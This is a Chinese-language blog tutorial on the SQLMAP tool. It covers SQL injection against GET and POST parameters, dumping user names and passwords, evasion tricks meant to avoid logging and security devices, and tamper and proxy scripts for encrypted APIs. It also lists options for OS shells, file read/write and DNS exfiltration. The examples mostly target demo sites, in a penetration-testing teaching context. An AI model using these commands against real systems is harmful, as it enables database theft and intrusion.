SQLMAP 用于测试 SQL 注入漏洞,通过时间、报错、OOB、文件写入、文件读取等手法进行注入,这款工具你需要关注的是测谁,测哪个参数。

目录

注入指定参数

GET

使用 -u 指定要测试的目标 URL,默认情况所有 GET 参数都会被测试

python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3"

-p 则指定哪个 GET 参数需要被测试。

python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3 -p x

多个参数使用逗号分隔 参数1, 参数2

python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3 -p x,z"

要觉得使用 -p 选项太麻烦则可以用星号代替 *

python sqlmap.py -u "http://example.com/index.php?p=1*&x=2&z=3*"

POST

遇到 POST 方法请求存在注入,可以给出 POST 参数名注入,或者是整个 HTTP 请求放入文件交由 SQLMAP 测试。

首先将请求保存到文件。

BurpSuite保存请求到文件.png

POST /detail.php? HTTP/2
Host: www.example.com
Cache-Control: no-cache
User-Agent: sqlmap/1.6#stable (https://sqlmap.org)
Cookie: PHPSESSID=13qfaabajedcrj59hd56enkb1f
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

p=1&x=2&z=3

使用 -r 选项读取包含请求文件。

python sqlmap.py -r sqli.txt

指定参数还是和 GET 一样,无论使用 -p 还是星号 * 都可以。如果要自定义如果要多个位置测试就在不同位置加上星号,会按照前后顺序进行测试。

GET 和 POST 参数注入实例展示

这里使用 Acunetix Web Vulnerability Scanner 示例站点做演示。

浏览测试目标应用,pic=1 是一个商品。

浏览应用-1.jpg

尝试对手注判断注入点做加法运算,确定运算成功怀疑存在注入。

浏览应用-2.jpg

运行工具

python sqlmap.py -u http://testphp.vulnweb.com/product.php?pic=1 -p pic --random-agent --delay .5 --risk 3 --dbms="MySQL" --dbs

期间 SQLMAP 会问你是否要继续各种其他的操作,如果读不懂专有名词可以默认 Enter 键下一步,如果想所有都是默认操作,在运行工具时添加 --batch 选项即可。

运行结果得到系统自带的元数据库 information_schema 和自建数据库 acuart。

注入成功.jpg

在遇到 POST 参数存在注入也可以很方便的使用 -r HTTP_REQ_FILE 测试。

python sqlmap.py -r HTTP_REQ_FILE --random-agent --delay .5 --risk 3 --dbms="MySQL" --dbs\

假设 POST 参数 searchFor 有注入。

POST /search.php?test=query HTTP/1.1
Host: testphp.vulnweb.com
Content-Length: 23
Cache-Control: max-age=0
Origin: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://testphp.vulnweb.com/product.php?pic=1%2b1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

searchFor=1*&goButton=go

首先需要将 HTTP 请求保存到一个文件中。

你会发现 searchFor 参数后面后面有个星号,表明只让 SQLMAP 只测这个参数。接下来和上面测试无异,运行工具即可。

python sqlmap.py -r HTTP_REQ_FILE --random-agent --delay .5 --risk 3 --dbms="MySQL" --dbs

拿数据

--current-db 查当前数据库名。

python sqlmap.py -r sqli.txt --current-db

--dbs 在有注入的情况下去查 DBMS 所有数据库名称。

python sqlmap.py -r sqli.txt --dbs

使用 -D 指明数据库 test,--tables 查其所有表。

python sqlmap.py -r sqli.txt -D test --tables

使用 -T 指明数据表 test,--columns 将获取 test 表内所有字段名。

python sqlmap.py -r sqli.txt -D test -T user --columns 

最终使用 -C 查指定字段 name 和 password 所有数据。

python sqlmap.py -r sqli.txt -D test -T user -C name, password --dump

使用 --dump 获取这两个字段的数据所有数据,等同于 SELECt name, password FROM user;

python sqlmap.py -r sqli.txt -D test -T user -C name, password --dump

挖 SRC 最好设置下获取数据条数,--start 1 表示从第一条开始获取,--stop 5 表示获取到第五条结束。

python sqlmap.py -r sqli.txt -D test -T user -C name, password --dump --start 1 --stop 5

隐蔽措施

Thread

网络状况不好的情况下降低毫秒时间内发送的请求数。默认速度过快可能导致服务器宕掉。

--delay,表示每个请求之间的延时秒数,数字格式为浮点数。

python sqlmap.py -r sqli.txt --delay .5

HTTP Header

使用默认 GET 参数。

python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3"

请求。

GET /index.php?p=1&x=2&z=3 HTTP/2
Host: www.example.com
Cache-Control: no-cache
User-Agent: sqlmap/1.6#stable (https://sqlmap.org)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

前面请求可以看到默认 UserAgent 为 sqlmap/x.x。而你通过浏览器拦截请求会带有完整请求头,不像工具这么简洁。

GET /index.php?id=94&test=1 HTTP/2
Host: www.example.com
Cookie: PHPSESSID=q5fpkb88i5e5c12l6mksplc1v9
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

--random-agent 选项从 sqlmap/data/txt/user-agents.txt 随机读取一个 UserAgent 可以避免被安全设备禁止访问。

现在最好不要使用,因为里面都是很旧的版本,看起来不正常。2022 年 Chrome 版本都到了 100,而 sqlmap UA 最高才 40,看起来就不像正常用户。

所以尽量模拟浏览器发出的请求,可以抓浏览器请求包 -r 去注入,如果目标 GET 和 POST 方法都支持的话,最好使用 POST 方法,因为 WebServer 不会记录 POST 参数到 AccessLog 里——除非经过 WAF 或者流量分析设备。

待补充......

--referer="Referer value" 设置 referer 请求头

减少 Payload 发送

确定注入点后尽量不让 SQLMAP 猜测,去减少 Payload 发送次数。

指定数据库

有时你通过错误页面展示获取其他方式得到站点数据库,用 --dbms 可以直接指定,避免 SQLMAP 猜测数据库类型发送大量 Paylaod 探测。

python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3" `--dbms="MySQL"

指定注入技术

SQLMAP --technique 选项可以指定注入使用什么技术。

  • B,Boolean-based-blind(布尔型)
  • E,Error-based(报错型)
  • U,Union-query-based(联合查询)
  • S,Stacked-queries(多语句查询)
  • T,Time-based-blind(时间延迟)--time-sec=5 用来设置时间延迟注入中延迟多久,默认值是 5 秒。
  • Q,Inline-queries(子查询)

默认是 BEUSTQ 全用。用 --technique ES 来指定用那些检测方法。

python sqlmap.py -u "http://example.com/index.php?p=1&x=2&z=3" `--technique=EST

设定检测范围和 Payload 风险值

--level 用于设定 SQLMAP 检查请求中哪些 HTTP Header 是否存在注入。默认值为 --level=1,仅检测 GET、POST 参数。

  • --level=2,开始检测cookie 是否存在注入。
  • --level=3,开始检测user-agent、referer 字段是否存在注入。
  • --level=4,会打更多Payload。
  • --level=5,检测包中host 字段是否存在注入。

level 每一级都包含前面所有等级测试项,而且不同 level 请求数量不一样,级数越高请求 Payload 越多。

1: Always (<100 requests)
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)
5: You have plenty of time (>1000 requests)

https://github.com/sqlmapproject/sqlmap/blob/master/data/xml/payloads/boolean_blind.xml#L21

--risk,表示测试所使用的语句,范围在 1-3,默认为 --risk=1,数字越大使用的测试语句越多随之而来的风险越大,可能目标有个 UPDATE 语句你给个 --risk 3 直接数据给删了。

  • --risk=2,添加了基于 Time 的 SQL 注入.
  • --risk=3,会使用 or 语句注入,如果目标语句用的是 UPDATE 语句,可能会导致所有数据被更改。

日志调试

代理

--proxy 通常我会转发到 BurpSuite 去看它如何判断漏洞。

python sqlmap.py -u http://www.example.com --proxy="http://addr:port"

日志

-v 控制台显示输出信息详细级别,默认为 -v 1。

  • 0: Show only Python tracebacks, error and critical messages.
  • 1: Show also information and warning messages.
  • 2: Show also debug messages.
  • 3: Show also payloads injected.
  • 4: Show also HTTP requests.
  • 5: Show also HTTP responses' headers.
  • 6: Show also HTTP responses' page content.

https://github.com/sqlmapproject/sqlmap/wiki/Usage#output-verbosity

高级别包含低级别信息。

下面使用 -v 3 在 Console 显示注入 payload,-t 将日志保存到文件。

python sqlmap.py -u http://www.example.com -v 3 -t "C:\Users\gbb\Desktop\sqli_log"

Template 编写

--tamper=temperName 调 sqlmap/tamper/ 目录下脚本,可以自己编写脚本处理 Payload。

代理服务器处理请求响应

Web/Mobile 端常见场景是请求与响应数据加密或者编码,解决方案是通过 Flask 搭建本地代理服务处理信息。整个数据流向 Tools -> Flask Proxy Server -> TargetSite。

这里给出一个实战场景,服务端应用只接受 AES 加密数据,处理完并返回 AES 加密后的响应。实际中也可能是 Base64 发送的参数处理完返回编码数据。

下面以 AES 加密为例。

首先想办法分析应用如何加密请求参数,先得到加密方式,比如 Secret Key、Padding、Mode,再通过加密脚本 aesEncryption.py 整体进行加密。

# Needed imports
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from base64 import b64encode

# Define which is the order of application of tamper scripts against
# the payload
# __priority__ = PRIORITY.NORMAL


def tamper(payload, **kwargs):
    '''
    针对 Payload 和数据包整体进行 AES 加密,最终返回 Base64 编码后的结果。
    '''

    post_data = r'[{"WFPUSER":"admin#rep#"}]'
    post_data = post_data.replace('#rep#', payload) # 将 post 数据和 payload 拼接
    retVal = bytes(post_data, encoding="utf-8")

    # your code to tamper the original payload
    key = b'test' # 密钥
    aes_obj = AES.new(key, AES.MODE_ECB)  # 加密模式是ECB
    retVal = aes_obj.encrypt(pad(retVal, 16))  # 默认是 PKCS7 填充, 128 bit

    # return the tampered payload
    return b64encode(retVal).decode() # base64 编码输出

通过 8080 将请求转到 BurpSuite 调试,能看到成功加密,但 SQLMAP 没法解密响应包密文。

python sqlmap.py -r C:\Users\gbb\Desktop\sqli --dbms="Microsoft SQL Server" --random-agent --tamper=aesEncryption --delay=0.5 --level=5 --risk=2 -v 3 -t "C:\Users\gbb\Desktop\sqli_log" --proxy="http://127.0.0.1:8080" --is-dba --dbs

写完解密脚本 aesDecryption.py。

# Needed imports
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode


def tamper(payload):
    '''
    解密。
    '''
    payload = bytes(payload, encoding="utf-8")
    # your code to tamper the original payload
    key = b'wfp2javah5m47i70'

    unbase64_result = b64decode(payload)
    aes_obj2 = AES.new(key, AES.MODE_ECB)  # 加密模式是ECB
    retVal2 = unpad(aes_obj2.decrypt(unbase64_result), 16)

    return retVal2.decode()

通过 Flask 作为代理服务,转发所有接收到的请求,并把响应的加密信息解密为明文。

from flask import Flask, request
from decryption import tamper
import requests
import re

app = Flask(__name__)
app.config['DEBUG'] = True


@app.before_request  # 拦截请求
def proxy():
    req_value = request.get_data().decode()
    location_url = request.url
    # 尽量模拟浏览器请求头
    headers = {
        'Content-Type': 'text/html;charset=utf-8',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36',
        'Host': request.host
    }
    proxies = {
        "http": "http://127.0.0.1:8080"
    }

    # response = requests.post(location_url, headers=headers, data=req_value, proxies=proxies)  # 把数据交给 Burp 进行调试
    response = requests.post(location_url, headers=headers, data=req_value)
    text = response.text
    comp = re.compile(r'<WFP_SYS_JsonSQLResult>(.*?)</WFP_SYS_JsonSQLResult>')  # 通过正则匹配响应中的数据
    match = comp.findall(response.text)[0] if text else ''
    match_data = tamper(match)  # 通过 tamper() 解密
    app.logger.info(match_data)  # 通过日志输出解密数据插件结果
    return match_data  # 直接返回数据


if __name__ == "__main__":
    app.run(host='127.0.0.1', port=80, debug=True)

最后 SQLMAP --tamper 调用加密脚本 ,解密则 --proxy 来做。实战中可以微调代码,即可解决问题。

python sqlmap.py -r C:\Users\gbb\Desktop\sqli --dbms="Microsoft SQL Server" --random-agent --tamper=aesEncryption --delay=0.5 --level=5 --risk=2 -v 3 -t "C:\Users\gbb\Desktop\sqli_log" --proxy="http://127.0.0.1:80" --is-dba --dbs

不常用到的选项

--proxy-cred="name:pass"  #有些代理需要验证,这里是验证身份。
--ignore-proxy  #忽略系统代理,避免转发外网服务器无法扫描,通常用于内网检测。
--method=METHOD #一些网站用 RESTFUL 风格 设计API,可能涉及 PUT 传输数据,这时候你就要指定方法了。
-m file_name #批量测试 file_name 中的 URL
--data="par=value" #一般用来对指定 POST 参数进行检测,GET 也可以使用。
--cookie="key=value; key2=value" #指定 cookie 做身份认证,在需要认证的时候使用,用法 --cookie SESSION=121j3lkjjskdjlkjsdf
--user-agent="x" #自定义一个 UA。
--mobile #把 User-Agent 设为移动端浏览器
--batch #所有操作采用默认选项,不需要输入YES/NO。
--timeout=30.1 #用来指定多长时间没有返回信息就算超时,默认值为 30s,超时后默认重试 3 次,用 --retries=x 来设置重试次数。
--threads=1 #设置线程(并发),默认是 1。
--second-url="url" #有时注入的结果显示在别的页面(二阶注入的一种),让 sqlmap 去指定页面查看结果。
--csrf-token= #在 POST 方式提交时遇到 Token 问题,可以查一下用法。
--csrf-url= #指定获得 Token 页面。
--prefix=x #给Payload加前缀
--suffix=x #给Payload加后缀
--sql-shell #获取 SQL-SHELL 来执行 sql语句
--os-shell #获取一个系统 shell 执行系统命令
--file-read=path/x #读取对方系统上的文件
--file-write=path/x #指定要写入到对方的本地文件
--file-dest= #指定写入到对方那个路径下
--dns-domain=DNS #ceye.io提高盲注效率
        #通过将 DNS 服务器的解析日志得到注入数据。以 MySQL 为例
        #select load_file(concat(select database(),as2.qq.com))盲注到的数据和 --dns-domain 指定的域名拼接起来得到dvwa.as2.qq.com,mysql 发送一个 DNS 解析请求,
        #通过本地 DNS 以递归的方式找到一个 DNS 服务器查询这个域名 A 记录,并且在日志留下 dvwa.as2.qq.com 查询记录。
        #首先 DNS 服务器你能控制,另外 DNS 上要有对应解析记录。
        #黑皮书 230 页-使用外带通道
--current-user #查当前数据库用户名
--users #获取当前数据库所有用户名
--is-dba #检测当前用户是否为 DBA 权限。
--dump-all #导出所有数据库里表的内容。脱库,等同于获取当前数据库用户所有有权限读取的数据,从库、表、字段、数据全部获取。
--param-del #当参数中默认分隔符不是 &,就可以用这个选项去定义分隔符。  
        sqlmap -u "https://www.baidu.com/index.php" --data="id=1;book=2" --param-del=";"
--purge #安全的删掉.sqlmap/output/下所有内容
--cleanup #清除~/.sqlmap/内容
--headers="字段:值\n字段:值\n"  #字段是大小写敏感的,多个字段用\n进行换行。
--referrer=""  #用于设置 referrer 头的值。
--force-ssl  #用 HTTPS 跟 URL 进行连接。
--param-del  #当参数中默认分隔符不是 &,就可以用这个选项去定义分隔符,一般不会改这个内容。
--safe-url/--safe-freq
    --safe-url="http://xxxx.com/?id=1" --safe-freq="5"
    每次发送 5 次注入请求后,发一次正常请求,因为检测时会有大量请求发向服务端,产生的过多错误,服务端可能销毁session,你就失去登录凭证,无法进行登陆后页面的扫描。
--csrf-token/--csrf-url #使用 --csrf-token=字段名,sqlmap 会在页面上找到这个字段对应的 token 值,而 --csrf-url 可以结合 burpsuite 来绕 token。
--fresh-queries  #SQLMAP会自己缓存上次查询的结果,加上选项可以忽略缓存。 --flush-session,这才是真全清缓存,什么数据库、表啥都没了直接删掉。

参考链接

最近更新:

发布时间:

摆哈儿龙门阵